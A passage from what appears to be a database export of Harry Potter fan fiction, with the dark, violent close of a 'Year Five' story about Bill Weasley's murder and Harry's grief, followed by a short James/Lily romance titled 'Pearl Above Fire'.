in a couple of weeks filled Harry with anger. A burning knot of acid made cramps in his stomach. He promptly fell to his knees and emptied the remains of the celebratory dinner all over the flagstone floor.</p>\n\n<p> Still numb, but with a small feeling of shame for his inability to keep his food down, Harry used his wand to clean the mess up as best he could. Gingerly he stood up, a gentle hand placed to his sore stomach, he continued on his way to Dumbledore&#8217;s office.</p>\n\n<p> He was exhausted by the time he reached the great Phoenix-shaped gargoyle that guarded the entrance to Dumbledore&#8217;s rooms.</p>\n\n<p> The gargoyles unseeing eyes appeared expectant.</p>\n\n<p> Harry shrugged his shoulders.</p>\n\n<p> &#8220;Oh just let me in.&#8221;</p>\n\n<p> The gargoyle complied.</p>\n\n<p> Somewhere in the back of his mind as he got onto the moving spiral staircase, it occurred to Harry that the gargoyle really shouldn&#8217;t have moved without a password. </p>\n\n<p> The staircase deposited Harry in front of the door to Dumbledore&#8217;s office. The door was slightly ajar, and a narrow beam of candlelight flickered from inside onto the landing where Harry stood.</p>\n\n<p> Unguarded voices talked inside.</p>\n\n<p> &#8220;That&#8217;s all that you could find out Markus?&#8221; The headmasters voice asked in such weariness it startled Harry. Dumbledore suddenly sounded very old.</p>\n\n<p> &#8220;I&#8217;m afraid so. Severus was our highest placed spy. The others are just runner-men in Voldemort&#8217;s army. They hear just enough to justify the risk of spying. But information on this one is tight. We know Voldemort was keeping Severus alive, holding him and possibly several others at his headquarters. But as of yet, none of our spies are far enough into the organisation to have been told were this supposed castle is.&#8221;</p>\n\n<p> &#8220;I&#8217;d appreciate it if you kept me informed. It&#8217;s been a while since Severus was taken, but I don&#8217;t want to give up hope just yet.&#8221;</p>\n\n<p> &#8220;He sort of grows on you doesn&#8217;t he? Like a fungus.&#8221;</p>\n\n<p> &#8220;Somehow I don&#8217;t think that the Gryffindor student&#8217;s would agree.&#8221;</p>\n\n<p> There was a pause in the conversation, which Harry used to knock on the door to announce his presence before entering.</p>\n\n<p> &#8220;Mr Potter.&#8221; Ravencast greeted with mild surprise.</p>\n\n<p> &#8220;What brings you to my office at this hour Harry, still celebrating?&#8221;</p>\n\n<p> Dumbledore&#8217;s voice had taken back on the mask of strength and wisdom that Harry was accustomed too.</p>\n\n<p> The smile on the headmasters face betrayed nothing of the grievousness of his conversation with the Judge. Harry almost couldn&#8217;t bear to see that smile slip from Dumbledore&#8217;s face, as he knew it would.</p>\n\n<p> &#8220;No. There&#8217;s something I have to tell you.&#8221;</p>\n\n<p> The smile did fall, and continued downward into a grimace for the next ten minutes as Harry tried to explain everything he&#8217;d seen and felt.</p>\n\n<p>\n\n</p>\n\n<p> &#8220;You don&#8217;t remember anything more about the place that the man was being held in?&#8221; Ravencast asked quietly when Harry had finished.</p>\n\n<p> Harry shook his head. Ravencast sat beside him, and Dumbledore in front. Dumbledore leaned forward and clasped crinkled worn hands over Harry&#8217;s own, which Harry noticed were trembling. Was he cold? He couldn&#8217;t tell.</p>\n\n<p> Ravencast scratched at the goatee on his chin and turned to Dumbledore.</p>\n\n<p> &#8220;So what now? Do I call off the search for Severus? Is there any hope for him?&#8221;</p>\n\n<p> &#8220;I don&#8217;t know Markus. For once I truly don&#8217;t know.&#8221;</p>\n\n<p> ~o0o~</p>\n\n<p> The answers to questions formed within his mind, and words flowed from mind to paper in such a way as to leave Harry barely aware of it. Much of what consumed his thoughts now was of being trapped within a stone cell, frightened and bleeding. Ron and Hermione had grown afraid for him again. In the past two days Harry had barely spoken a word. He went to each of his exams as they did.</p>\n\n<p> One of the torments of his life was finally over. His Uncle was behind bars, his Aunt finally cared for him. He had a blood relative, something which he&#8217;d never really though of her as before.</p>\n\n<p> As quickly as they had approached the exams were over. The week was gone. And all over Hogwarts, students of years five and seven walked around in a daze. Harry slowly pulled himself out of his reverie, and began with some delicacy the process of trying to enjoy life, as it was however briefly, quiet and enjoyable.</p>\n\n<p> The Weasley twins had gone riot. The number of pranks increased three-fold. Hardly a student walked the halls that didn&#8217;t bear the mark of some joke. A large number of unsuspecting forth years were stuck breathing green fire from their nostrils for about an hour on the day of their final exams.</p>\n\n<p> And over the course of another week, Harry found himself thinking less and less on the man who&#8217;s died. But he increasingly lost hope that it could have been anyone other than Professor Snape. Though he hated himself for wishing that some other poor soul had died.</p>\n\n<p> The end of term drew closer still. Harry&#8217;s staff lessons began again, as he prepared to take it back to the Dursley household with him. A few days earlier the courts had informed him that Remus Lupin had been given legal guardianship of him, and that they did celebrate. At first Harry had thought that Sirius was slightly jealous, and his godfather had later admitted as much. But Remus had later invited his old friend to live with him again over the holidays. With the promise of seeing Harry when he came to visit, and that seemed to cheer him up. </p>\n\n<p> All in all, Harry supposed he had a lot to be grateful for. Judge Ravencast in particular had received many thanks from Harry, for his willingness to give Vernon some leniency in sentencing, thus allowing Petunia and Dudley the chance to visit him at the nearby prison. Harry was quite certain that the Judge had also put in the few key words that had allowed Remus the chance to become Harry&#8217;s legal guardian. </p>\n\n<p> The newspapers reported what they now supposed to be the truth about what had happened that night at Goderic&#8217;s Hollow. About how mad He-Who-Shall-Not-Be-Named must be, for everyone KNEW that magical staffs were only a myth. In time, Harry knew the truth about everything would probably come out. But for now he was grateful that some of the mystery surrounding &#8216;The Boy Who Lived&#8217; was cleared up. With the credit for his survival going to the heroic actions of his parents. Harry felt a great deal of pride in them, and cared little if it now lessoned people&#8217;s curiosity in him. No one outside of the school knew the truth about the Staff-of-Gaia, and those within were bound by magic not to reveal its existence.</p>\n\n<p> Life could almost be normal.</p>\n\n<p> ~o0o~ </p>\n\n<p>\n\n</p>\n\n<p>If there were one word that could describe Ginny Weasley right now, that word would be tense. Not that you would think she had need to be, for most people\'s birthday\'s would be considered a special occasion, one filled with joy and laughter- it was not to say that there wouldn\'t be some of this later- but right now, Ginny Weasley was tense. </p>\n\n<p>The twins kept glancing over at her, she fidgeted, and they glanced again, identical evil smiles breaking over their faces when they looked away. They were up to something. Ginny just wish she knew what. The twins had a nasty habit of playing practical jokes on her birthday, and she felt that this wouldn\'t be an exception. They hadn\'t done anything last year; the result of the Triwizard tournament had been too painfully fresh in everyone\'s memory. So by Ginny\'s reckoning, the twins wanted to make up. The jovial spirit of Harry\'s court victory was still very much alive in the Gryffindor House, now that the truth was out about what the case had been about. The other houses, including those in Slytherin who weren\'t such a bad lot, had probably been feeling guilty about doubting Harry\'s word, so in an effort to make up, rivalry between the houses had broken down quite a bit recently, on a whole, the atmosphere at Hogwarts had never been so contented.</p>\n\n<p>But Ginny was still nervous, wondering when the sweets she\'d been given by her dorm mates were going to make her tongue grow 4 feet long and turn purple. Or turn her into a giant canary, or make her breathe green smoke for two hours. What was even more nerve racking, was the fact that half the Gryffindor table kept sneaking glances at her, Harry, Ron and Hermione included. How was she ever supposed to enjoy her birthday when she was looking over her shoulder for the entire day?</p>\n\n<p>But still it was only breakfast at the moment, they did have the entire day to play their joke on her ... but why did they keep staring?</p>\n\n<p>A few minutes later, Harry had glanced in Ginny\'s direction again, getting ready to move quickly if she started breathing green fire- the twins had improved that sweet recently- when Owl post arrived. At least for now, Ginny could relax and open a few well-wishing cards. Harry along with everyone else would just have to wait to see what the twins had cooked up for their little sister. The Weasley Owls, Pig, Errol and Hermes dropped off a heavy pile of cards and parcels in a joint effort. Another strange owl not known to Harry was also perched on the desk, waiting patiently to deliver its mail.</p>\n\n<p>As Ginny tore into her letters and presents, eagerly watched by her dorm mates and brothers, Harry glanced up to the teacher\'s table. Dumbledore had a gleam in his eye he\'d been lacking a little recently; Harry supposed that whatever the twins had in store for Ginny, she could at least be assured of a very fine birthday cake, courtesy of the Hogwart\'s House-elves. </p>\n\n<p> Ginny\'s squeal of delight as she opened Charlie\'s present, a pair of genuine green Norwegian Ridgeback dragon hide earrings with a pendant to match, drove Harry\'s attention back to the excitable red-head. He smiled as one of Ginny\'s friends clipped the pendant around Ginny\'s neck.</p>\n\n<p>&quot;I wish someone would get me stuff like that.&quot; He heard Hermione sigh beside him.<i>\n\n</i></p><i>\n\n<p>Brain please note Hermione wants pretty stuff for her next birthday, not books. </p>\n\n</i><p> Harry smiled again to himself; hell would freeze over before Hermione would out right ask someone she knew to get her jewellery for a birthday.</p>\n\n<p>Ginny finished with her last parcel from the Weasley consignment, pumpkin pies and chocolate frogs from her parents, along with a pretty pale pink silk covered diary- assurances in her card that the diary was not in any way cursed. She added them to her neat little pile, and stroked an ailing Errol fondly, before he was lifted by the other two Weasley Owls, and flown to the Owlery in Hogwarts tower to recover. That left the unknown Owl. The darkly coloured Owl lifted its wing and Ginny removed a thick bright blue envelope. The Owl took off immediately. Harry wasn\'t sure why, but he felt a sense of relief when it had gone.</p>\n\n<p>&quot;Hey Ginny\'s got a Message-head.&quot; Said Seamus, suddenly; attracting the attention of most of the Great Hall -who\'d been nosily watching Ginny open most of her presents anyway. </p>\n\n<p>&quot;A what?&quot; Harry asked.</p>\n\n<p>&quot;A Message-head. It records the image of the person\'s head who\'s sending the message, and any other images they charm into it, while they read their message, you can also use them to post stuff in as well.&quot; Ron explained.</p>\n\n<p>&quot;It\'s from Bill.&quot; Ginny said happily as she turned the envelope over in her hand.</p>\n\n<p>&quot;Well open it then.&quot; Fred said, eager to see what his brother had to say.</p>\n\n<p>Ginny complied.</p>\n\n<p>Once she\'d opened it, the envelope began hovering in mid-air, about a foot above the table. A small plume of grey smoke came out, and within moments, a life size version of Bill Weasley\'s head and neck was peering out of the rapidly clearing smoke. It wasn\'t exactly solid, it was somewhat ghost-like in transparency, but possessing Bill\'s normal colouring, not the grey shimmer you would associate with a ghost.</p>\n\n<p>The Message-head Bill smiled broadly.</p>\n\n<p>&quot;Happy Birthday Ginny.&quot; He said. Ginny smiled back.</p>\n\n<p>&quot;Hold out your hands, and you\'ll get a present.&quot; The Bill-head told her. Ginny held out her hands under the envelope, and then screamed.</p>\n\n<p>A knotted mass of bloody red hair fell into her outstretched hands. Long red hair, in it\'s distinctive pony-tail, still attached to it\'s scalp, lay in her hands. She dropped it on the table with a startled and paralysing scream, falling out of her seat with a thud to the ground. Some people laughed. So this was the Weasley joke?</p>\n\n<p>The Bill-head smiled. Only now it had changed into a grotesquely brutalised version of Bill Weasley\'s head.</p>\n\n<p>&quot;Happy Birthday Ginny.&quot;</p>\n\n<p>Bruises marred his face; one side bore deep animal-like scratches that dug deep into bone.</p>\n\n<p>&quot;Hold out your hands, and you\'ll get a present.&quot;</p>\n\n<p>His neck was slit open, and not just in a small thin line, but hacked open with something large and heavy, as if they had been trying to cut his head off, but had not gone deep enough. Ginny was still screaming on the floor, holding her blood-covered hands in front of her. People stopped laughing. Ron looked to his brothers. They were in shock. It wasn\'t a joke.</p>\n\n<p>The Bill-head smiled.</p>\n\n<p>&quot;Happy Birthday Ginny.&quot;</p>\n\n<p>A plume of green smoke rose out of the card, and began to form a shape, three feet above Gryffindor table. The first thing that formed was the shape of a snake, it was moving wildly. </p>\n\n<p>Within a mouth.</p>\n\n<p>Within a Skull.</p>\n\n<p>The Dark Mark, it shone like some terrible beacon above the Bill Weasley head. Ginny was still screaming, and began shaking.</p>\n\n<p>&quot;Hold out your hands, and you\'ll get a present.&quot;</p>\n\n<p>Most of the Gryffindor\'s had screamed and moved sharply away from their table, the rest of the Great Hall soon joined them. Ron tried to put his arms around his crying sister on the ground, but she still held her arms out away from her, blood running in trickles over her robes, and over her legs. She was rocking backwards and forwards, she could barely breathe through anguished cries. </p>\n\n<p>&quot;Happy Birthday Ginny.&quot;</p>\n\n<p>Ron didn\'t know what to do. What could he do? He couldn\'t touch his sisters\' arms, he couldn\'t touch the blood, how could he touch it? He wrapped his arms around her shoulders, and followed her rocking movements with his own. She was still screaming.</p>\n\n<p>&quot;Hold out your hands, and you\'ll get a present.&quot;</p>\n\n<p>A loud crashing sound, as the door to the side entrance of the Great Hall flew open, Snape shot out of it, bloodied and battered, gasping for breath he ran towards the teacher\'s table, Deatheater robes swirled around him.</p>\n\n<p>&quot;Dumbledore ... there\'s ... there\'s a letter ...a letter coming, you have ...have to ...stop.&quot;</p>\n\n<p>&quot;Happy Birthday Ginny.&quot;</p>\n\n<p>Snape\'s head turned slowly, he knew then that he was too late.</p>\n\n<p>&quot;Hold out your hands, and you\'ll get a present.&quot;</p>\n\n<p>Whatever he had been through to get here, whoever he had angered enough to break his arm, and cut him so, whatever it had been, it was not fast enough.</p>\n\n<p>Ginny\'s head moved into her brothers\' chest. Hermione flew into Harry\'s arms, crying in anguished sobs. The twins held each other; they had been too shocked to move from their seats. The teachers, the teachers and Dumbledore were coming now. The Dark Mark still shone.</p>\n\n<p>&quot;Happy Birthday Ginny.&quot;</p>\n\n<p>~o0o~</p>\n\n<p> There was no sound in the Great Hall but for the soft din of food being eaten. Gazes flitted frequently to the many empty seats at the Gryffindor table. Most thought it strange that Potter and Granger were still here, being as close to the Weasley&#8217;s as they were, but perhaps this truly was a time for the family.</p>\n\n<p> Both of them sat very close together, half-picking at their plates, not bothering to eat, the state of shock many students had found themselves in when confronted with the torn and bloodied image of Bill Weasley&#8217;s head, followed by the dark mark was more pronounced in these two. </p>\n\n<p> Snape had been rushed to Madam Pomfrey, having all but collapsed in exhaustion and pain. No one knew how he fared yet.</p>\n\n<p> It was a time for sadness and a time for quiet, something that even the Slytherin students appeared to understand. Not since the death of Cedric Diggory had the Great Hall been subdued in this manner, and Harry didn&#8217;t like it.</p>\n\n<p> He felt&#8230; numb. At times his mind raged with anger at the unfairness of it all, question upon question raised as to whether something could have been done to prevent it. But what? He had thought the dead man to be Severus Snape. Was this a way of punishing them twice? To kill one unexpectedly and leave those left behind with the certain knowledge that another may await such a fate?</p>\n\n<p> This was Voldemort&#8217;s return party, and Harry knew it. The drak wizard would only cope for so long out of the limelight. A year he had been back, a year in which a handful of people had disappeared, and whom Harry knew to be dead. But now that everyone believed him, now that everyone knew He-Who-Must-Not-Be-Named was back, Voldemort was announcing his presence to the world.</p>\n\n<p> At other times Harry could barely form a single thought, like his mind was wrapped up in cotton wool.</p>\n\n<p> And sometimes that would have been a welcome sensation, for into his mind crept back the sight of the man Voldemort had killed. The man in the dark on a cold stone floor for who Harry now had a face and a voice to match the one that screamed in animal agony.</p>\n\n<p> Hermione pushed her fork through the meticulously cut bite-size piece of pork on her plate. And then she swallowed thickly, the idea of eating meat did not sit well with her at that moment in time. </p>\n\n<p> Bill Weasley was dead. He was&#8230; he had been twenty-three. Twenty-three? How could anything justify such a loss? And at any age? </p>\n\n<p> Ron, Ginny and the twins had all been taken up to Dumbledore&#8217;s office that morning to meet their parents. Everyone else had nothing else to do but sit in the Great Hall, after all lessons had been cancelled. They all made their own entertainment, if they felt like it at all. Most read or played chess, some played with muggle playing cards. There was an unwritten rule at times like this in Hogwarts, no one played &#8216;exploding snap&#8217; or used pranks like filibusters fireworks. </p>\n\n<p> Arthur and Molly, along with Percy had arrived, no one had seen them come, but they had been told to stay away from Dumbledore&#8217;s office for the time being. In fact that entire floor of Hogwarts was avoided at all costs, but some who had walked past on their way to dorms spoke of the echoes of weeping coming down the corridors.</p>\n\n<p> What way was this to end a year? Was the thought on the minds of many students.</p>\n\n<p> &#8220;RON!&#8221;</p>\n\n<p> A loud thumping noise broke the silence of the Great Hall, and every students head snapped up as Ronald Weasley flung one of the doors at the Hall&#8217;s entrance to the side with alarming strength. Teary eyed and red-faced Ron stormed into the Hall, with a sobbing Ginny running in a moment behind, it was she who had shouted.</p>\n\n<p> The look on Ron&#8217;s face spoke of pure anguish, tears forming glistening trails upon both cheeks, he panted slightly, perhaps from exertion, more likely from hyperventilating under the strain.</p>\n\n<p> He strode towards the Gryffindor table, and his friends rose quickly, readying to offer what little comfort they might.</p>\n\n<p> Harry tried to think of something he could say; his mouth opened a little readying to speak. </p>\n\n<p> It came as a shock when he found himself sprawled back on the floor, blood pouring from a split lip, his friends stood above him with fist raised.</p>\n\n<p> A blurred moment of confusion left him disorientated as Ron&#8217;s face became merged with Vernon Dursley&#8217;s.</p>\n\n<p> &#8220;Ron wait!&#8221; Ginny screamed catching up; she tried to pull her brother back. Hermione bent down to look at Harry&#8217;s swollen jaw, and wondered at how the blow might have loosened teeth. When she stared up at Ron in wonderment she could see in his eyes that Ron was filled with hatred. And she felt fear for her other friend who now cradled his jaw in his hands. He was trembling slightly, and she knew that he was in the grips of many bad memories.</p>\n\n<p> &#8220;It&#8217;s because of you, it&#8217;s always because of you!&#8221; Ron shouted, still panting, face getting redder by the minute. Ginny began wailing; still trying to hold her brother back when the twins arrived and did it for her. But Ron didn&#8217;t need his fists to attack further. </p>\n\n<p> &#8220;Anyone who makes friends with you is gonna die! Everything you touch withers away! How many people do you know are going to die? Do you know?&#8221;</p>\n\n<p> &#8220;Ron, I&#8230;&#8221;</p>\n\n<p> &#8220;Shut up! Well do you?&#8221;</p>\n\n<p> Ron made his raving clearer.</p>\n\n<p> &#8220;You&#8217;re the one with those dreams, you&#8217;re the one with all that power. You&#8217;re the one that gets inside Voldemorts head. How could you not know? How could you not know it was Bill?&#8221;</p>\n\n<p> There was a gasp from students as Ron said Voldemorts name. The teachers in the Great Hall had begun making their way over, a flurry of movement at the door turned out to be the headmaster and the Weasley parents.</p>\n\n<p> Ron struggled further against his brothers.</p>\n\n<p> &#8220;Did you know it was my brother who died that night? My brother, shit! My bloody brother&#8230; my brother&#8230;&#8221; he continued gasping. Harry felt tears falling down his own cheeks, others cried too. There were too many tears, too many of them&#8230;</p>\n\n<p> &#8220;They made him talk to my parents, left a message beside his body when they left it outside the house this morning. They got him to say he was a present for you!&#8221;</p>\n\n<p> The twins could no longer control themselves, they wept, unconcerned as to whether their brother might pound Harry into a new flavour of Bertie Bott&#8217;s Every Flavour Bean, they let go of him, and clung to each other in their grief.</p>\n\n<p> Ron walked slowly towards Harry his entire body shook. Harry got to his feet, brushing Hermione&#8217;s hand away.</p>\n\n<p> Ron&#8217;s voice broke, rough from shouting, but still louder than it needed to be.</p>\n\n<p> &#8220;My brother is dead. All we ever did was take you in, all we ever did was care about you.&#8221;</p>\n\n<p> Blood dripped from Harry&#8217;s lip, onto his robe but he didn&#8217;t care. What Ron was saying began to make sense.</p>\n\n<p> &#8220;Nobody can even know you without something happening to them. How many times is this going to happen? How many people are going to have to die before you do? </p>\n\n<p> All we did was care about you. You were like a brother to me&#8230;&#8221; </p>\n\n<p> Ron seemed to have realised what he had just said.</p>\n\n<p> Exhausted and sobbing he fell to his knees, murmuring over and over again the words &#8216;a brother&#8217;.</p>\n\n<p> Harry stood there, blood trickling down the front of his robe and over the Gryffindor badge, marring the yellow treading and turning it a muddy brown. It would leave a stain that would never wash out, no matter what magic the house elves would use.</p>\n\n<p> Harry&#8217;s mind tried to come to grips with what he was hearing. The devastation he felt manifested as physical pain in his throat, he was desperate to say something, anything that might be comforting, yet his entire mind could dwell only on fault. Of whom the fault lay for Bill Weasleys death. It was his. It was Harry&#8217;s fault.</p>\n\n<p> Harry imagined he could see the blame in the eyes of those in front of him. Imagined that he saw accusation in Hermione&#8217;s gaze when it was not there.</p>\n\n<p> You-Know-Who had killed; he&#8217;d done it in Harry&#8217;s name. Ron was right. How many more would die? How many more would Voldemort kill in Harry&#8217;s name? How many of his friends and family would be killed before he died?</p>\n\n<p> In that moment something suddenly became terrifyingly clear to Harry. </p>\n\n<p> It wouldn&#8217;t end.</p>\n\n<p> It would happen again.</p>\n\n<p> And he was powerless to prevent it.</p>\n\n<p> He took a step towards Ron, who was still sobbing on the floor.</p>\n\n<p> &#8220;You&#8217;re right, I know&#8230; I&#8230; I&#8217;m dangerous for you&#8230; for all of you to be around. Voldemort will kill anyone that I&#8217;m friends wi&#8230; no he&#8217;ll kill anyway, but he&#8217;ll aim for my friends.&#8221; </p>\n\n<p> Harry&#8217;s voice began to break, but he spoke rapidly and softly as though speaking thoughts as he had them.</p>\n\n<p> &#8220;He&#8217;ll go after anyone I care about.&#8221; He glanced at Hermione&#8217;s face behind him.</p>\n\n<p> &#8220;He&#8217;ll go after anyone who helps me, until the day I die.&#8221;</p>\n\n<p> An answer to many problems came to Harry in an instant, and he seemed oddly calm about his conclusion.</p>\n\n<p> Swiftly he bent down to Ron. He found Ron&#8217;s wand in the pocket of his school robes put in Ron&#8217;s right hand, and closed his friend&#8217;s fingers about it. Ron&#8217;s face grew more confused as Harry directed the tip of the wand at his chest and held Ron&#8217;s hand tight around it.</p>\n\n<p> Ron&#8217;s heart hammered inside his chest, blood pounded furiously in his head making it difficult to hear anything, he didn&#8217;t understand what Harry was doing.</p>\n\n<p> &#8220;End it now Ron. You can do it; you&#8217;re stronger than you think you are. You could do it.&#8221; Harry said hoarsely.</p>\n\n<p> &#8220;Do what?&#8221; Ron whispered, suddenly terrified to hear the answer he knew in his heart would follow, but he needed Harry to say it out loud.</p>\n\n<p> &#8220;Kill me.&#8221; Harry said simply.</p>\n\n<p> &#8220;Harry.&#8221; Hermione gasped quietly from behind. Dumbledore walked a little closer, his wand dropped into his hand, and though he held it loosely, it was clear he was ready to use it.</p>\n\n<p> Harry noticed this and grew more desperate.</p>\n\n<p> &#8220;Ron I know you could do it. You could stop this all now. You can stop Voldemort killing anyone else for me. I don&#8217;t want to be inside another of my friend&#8217;s heads when they die. I don&#8217;t want to know about the kicks Voldemort gets when he kills someone.</p>\n\n<p> Ron please, please I don&#8217;t want to be the reason why&#8230; I don&#8217;t want to be the reason anymore&#8230; please just end it.&#8221;</p>\n\n<p> Ron stared in abject horror. Realising then that his anger had been terribly misdirected. He&#8217;d aimed it towards the one person he knew was vulnerable.</p>\n\n<p> Hadn&#8217;t he, only a few moments ago, proclaimed he thought of Harry as a brother? Was not this brother asking him to help him die? How could he have let it come to this?</p>\n\n<p> Slowly Ron pushed himself into a standing position, very much aware of Harry&#8217;s hands still wrapped tightly over his own, keeping the wand pointing at his chest.</p>\n\n<p> &#8220;Ron please&#8230;&#8221; Harry tried one last time, but already realised the futility of it.</p>\n\n<p> &#8220;I&#8217;m sorry.&#8221; Ron whispered.</p>\n\n<p> Harry&#8217;s grip loosened.</p>\n\n<p> &#8220;I&#8217;m sorry.&#8221; He whispered again. </p>\n\n<p> Harry let go, his hands shook and his chest heaved as he took deep breaths of air.</p>\n\n<p> &#8220;I&#8217;m sorry.&#8221; </p>\n\n<p> Ron pulled Harry into the hardest, most painfully reassuring hold he had ever given anyone. His mind barely registered when Harry&#8217;s arms finally wrapped around him too.</p>\n\n<p> Hermione watched silently. She saw Dumbledore discreetly putting his wand back into the pocket of his robes. And wondered if the old wizard would have really used it. </p>\n\n<p> Was this the worst of it? Was this just a glimpse of what was to come? What nightmares lay in store for them all? </p>\n\n<p> Today she had lost a friend, she had witnessed the grief of a family in mourning, and she had looked upon one of the people in her life she cared about most as he&#8217;d asked to die. How could it get any worse? </p>\n\n<p> But Harry had not died. Ron had come to his senses. Dumbledore had not harmed one student to save another.</p>\n\n<p> Should she let her hope fade, or should it be renewed?</p>\n\n<p> What end this would all come to, she could not yet predict; but whatever the end held in store she knew she would face beside the two young men in front of her. In her heart and mind her will was now set, she would hold onto hope, even when others could not. Whatever the end, she would fight for it.</p>\n\n<p> To the end.</p>\n\n<p>\n\n</p>\n\n<p>End of Year Five.</p>\n\n<p>\n\n</p>\n\n<p> That&#8217;s it for this school year folks. Harry and co will be back next year, when the staff will be better explained, along with the strange woman in Harry&#8217;s dreams (ahem not Galadriel- I honestly didn&#8217;t realise she looked like that when I wrote her!) and Malfoy comes into his own after a horrifying summer. </p>\n\n<p> Toodles!</p>\n\n<p>\n\n</p>\n\n<p>\n\n</p>\n\n</font>\n\n '),
	(7, 1, '\n\n\n\n\n\n\n\n<p><b>Title: Pearl Above Fire</b> <br>\n<b>Author name:</b> Kaori Lily Marie Otome XIV <br>\n<b>Author e-mail:</b> kaori_girl@mymelody.com <br>\n<b>Category:</b> Astronomy Tower <br>\n<b>Keywords:</b> James, Lily, L/J, fluff, sunsets <br>\n<b>Rating:</b> PG <br>\n<b>Spoilers:</b> It\'s good to be familiar with all the books but there aren\'t\nreally any spoilers <br>\n<b>Summary:</b> James Potter never has time alone to himself... nor with Lily\nEvans... but one afternoon staring at the sky might change that all... L/J\nfluff. <br>\n<b>Disclaimer:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. <br>\n<b>Author\'s Notes:</b> It\'s pure fluff. Dedicated to my friends at the SS Thorn\nand Buck - I posted it! It was inspired while looking outside my window one\nday... It just looked gorgeous outside that I wanted to write it in somehow...\nso hope you like! If not, that\'s okay... it\'s your choice. <br>\n&nbsp; </p>\n\n<p>~-~-~-~-~ <br>\n<b>Pearl Above Fire</b> </p>\n\n<p>James Potter sat alone on the Hogwarts grounds. It was quiet out here. He\nneeded some time alone for himself.&nbsp; He had few time to just sit alone and\nthink. It was nice. He laid on his back, just looking at the sky. It was pale\nblue and dusk would begin soon. </p>\n\n<p>It was really quiet. Maybe too quiet for him. He sighed, not wanting get up\nbut talk to someone. </p>\n\n<p>As if answering his wish, someone came over next to him and sat down. It was\nthe reserved but intelligent Lily Evans. She smiled at him with amused eyes.\nJames often thought her eyes were very gorgeous. How many people did one meet\nwith beautiful bright green eyes? </p>\n\n<p>A grin appeared on James\' face. He turned his face slightly to meet hers. He\nlooked up to see the girl\'s long dark red hair. She wasn\'t looking down at him\nbut up into the sky. &quot;So what\'s Perfect Prefect Evans doing here?&quot; </p>\n\n<p>Lily rolled her eyes and answered. &quot;Nothing really. Just watching the\nclouds go by. Then again, all the clouds are almost all gone, so that excuse is\nworthless,&quot; she said. She liked to joke like this to him. Saying his own\nthoughts. He often wondered what else Lily knew. &quot;But the moon\'s\nnice.&quot; </p>\n\n<p>James scanned the sky to see it. It was too high from the horizon and was\nabove faying clouds. It was still early because the clouds were not yet a hint\nof pink or purple. Lily turned her head to him smiling happily. &quot;It\'s very\npretty.&quot; </p>\n\n<p>James blinked. &quot;The moon?&quot; </p>\n\n<p>&quot;The pearl above the fire,&quot; she said. What? James looked curiously\nup at her. </p>\n\n<p>&quot;Huh?&quot; </p>\n\n<p>Lily let herself lie on the grass alongside James. She pointed up at the\nmoon. &quot;The full moon. See those clouds below it? They\'ll be changing\ncolors soon because that,&quot; she spanned the sky and pointed at the sunset,\nJames following her finger, &quot;is going down but the moon is already out.\nNow the clouds there-&quot; she brought her finger back to the clouds under the\nmoon. &quot;are yellow and orange, and maybe a tinge of red. It\'s like fire.\nWell the full moon\'s like a pearl and it\'s above the clouds, which is the\nfire.&quot; </p>\n\n<p>&quot;Oh!&quot; James said, seeing what she meant. They sat quietly for a\nfew moments. James sighed and as he glanced up at the darkening sky that it was\na full moon. &quot;Oh,&quot; James said again, more quietly. </p>\n\n<p>&quot;Hm?&quot; Lily asked. She was still on the ground beside him. James\nwould\'ve liked to stay with her but... </p>\n\n<p>&quot;Er... Lily? We have to go,&quot;&nbsp; James said, getting himself up.\nHe helped up Lily who looked at him in curiosity. </p>\n\n<p>&quot;Why?&quot; </p>\n\n<p>&quot;Well, it\'s the full moon and... well, you know, people say that\nthere\'s a werewolf on the grounds,&quot; James nervously explained. He wished he\ncould tell her. He couldn\'t though. He made a pact with his friends. He\ncouldn\'t break it. </p>\n\n<p>&quot;Oh,&quot; Lily said disappointed. James hated seeing her sad but he\ncouldn\'t let her get hurt. </p>\n\n<p>&quot;C\'mon, we\'ll be missing dinner,&quot; he escorted her to the steps of\nHogwarts. He held her hand but she didn\'t protest at all. He feigned from\nshowing embarrassment. Lily was his friend but he\'d been having mixed feelings\nabout her for quite awhile. Why on earth did he have to feel this way? Why\ncouldn\'t he just not this of her that way? It was so confusing. Good thing his\nfriends didn\'t know yet, they would\'ve started teasing him already. Yet they\'d\nfind out eventually. They always did. James wasn\'t just ready for them to - not\nwhen he wasn\'t sure himself. </p>\n\n<p>When they reached the Entrance Hall, James was about to break off and leave\nwhen Lily kept her hold. &quot;Please don\'t go,&quot; she pleaded. </p>\n\n<p>&quot;I-I-I... I can\'t!&quot; James said, trying to convince himself more\nthan anyone else. </p>\n\n<p>&quot;Please?&quot; </p>\n\n<p>&quot;I...&quot; </p>\n\n<p>Lily led him somewhere. James didn\'t know what to do. He had to go to the\nShrieking Shack... his friends were waiting for him. Then there was Lily... he\ncouldn\'t resist not letting himself just get dragged by her. He led her up...\nto the Astronomy Tower. James was confused. &quot;Wha?&quot; </p>\n\n<p>James just looked at her, utterly dumbfounded. Before he knew it Lily\'s soft\nlips brushed his. Surprised at first, James didn\'t do anything. After all, this\nwas Lily. Lily! His friend Lily! But that did not stop him from kissing her\nback. Her affectionate kiss grew deeper and more passionate as James kissed\nher. James had kissed many other girls but it was different with Lily. There\nwere actual true real feelings. There was love in their kiss. </p>\n\n<p>They broke away reluctantly. Lily was flushed and lightly panting. James sighed,\nnot knowing what to do. He couldn\'t help but think, \'Did that just happen?\' </p>\n\n<p>Lily looked down, embarrassed. James looked at her with gratefulness. He\nraised her head up with his hand. &quot;What was that for?&quot; he asked\nsoftly. </p>\n\n<p>Lily blushed deeper. &quot;I-I don\'t know what came over me... I just...\ndidn\'t think... I...&quot; </p>\n\n<p>She didn\'t explain any further for James started to kiss her again. It was\nsofter... lighter... shorter. </p>\n\n<p>When the second kiss was done, James only said. &quot;I have to go... we\'ll\ntalk about this tomorrow, I promise...&quot; He reluctantly left her, not\nletting her hand go until he couldn\'t anymore. </p>\n\n<p>Lily stood alone in the Astronomy Tower, winded and feeling free. She was\nalone but yet she wasn\'t. She had won the heart of James Potter. She could only\nwonder if she\'d be Mrs. Lily Potter when she was married. She desperately hoped\nso. </p>\n\n<p>She would look forward to seeing another pearl in the sky. A smile spread\nacross face and she grinned as she made her way to the Great Hall.</p>\n\n<p><b>Fin.</b> <br>\n~-~-~-~-~</p>\n\n\n\n\n\n\n'),
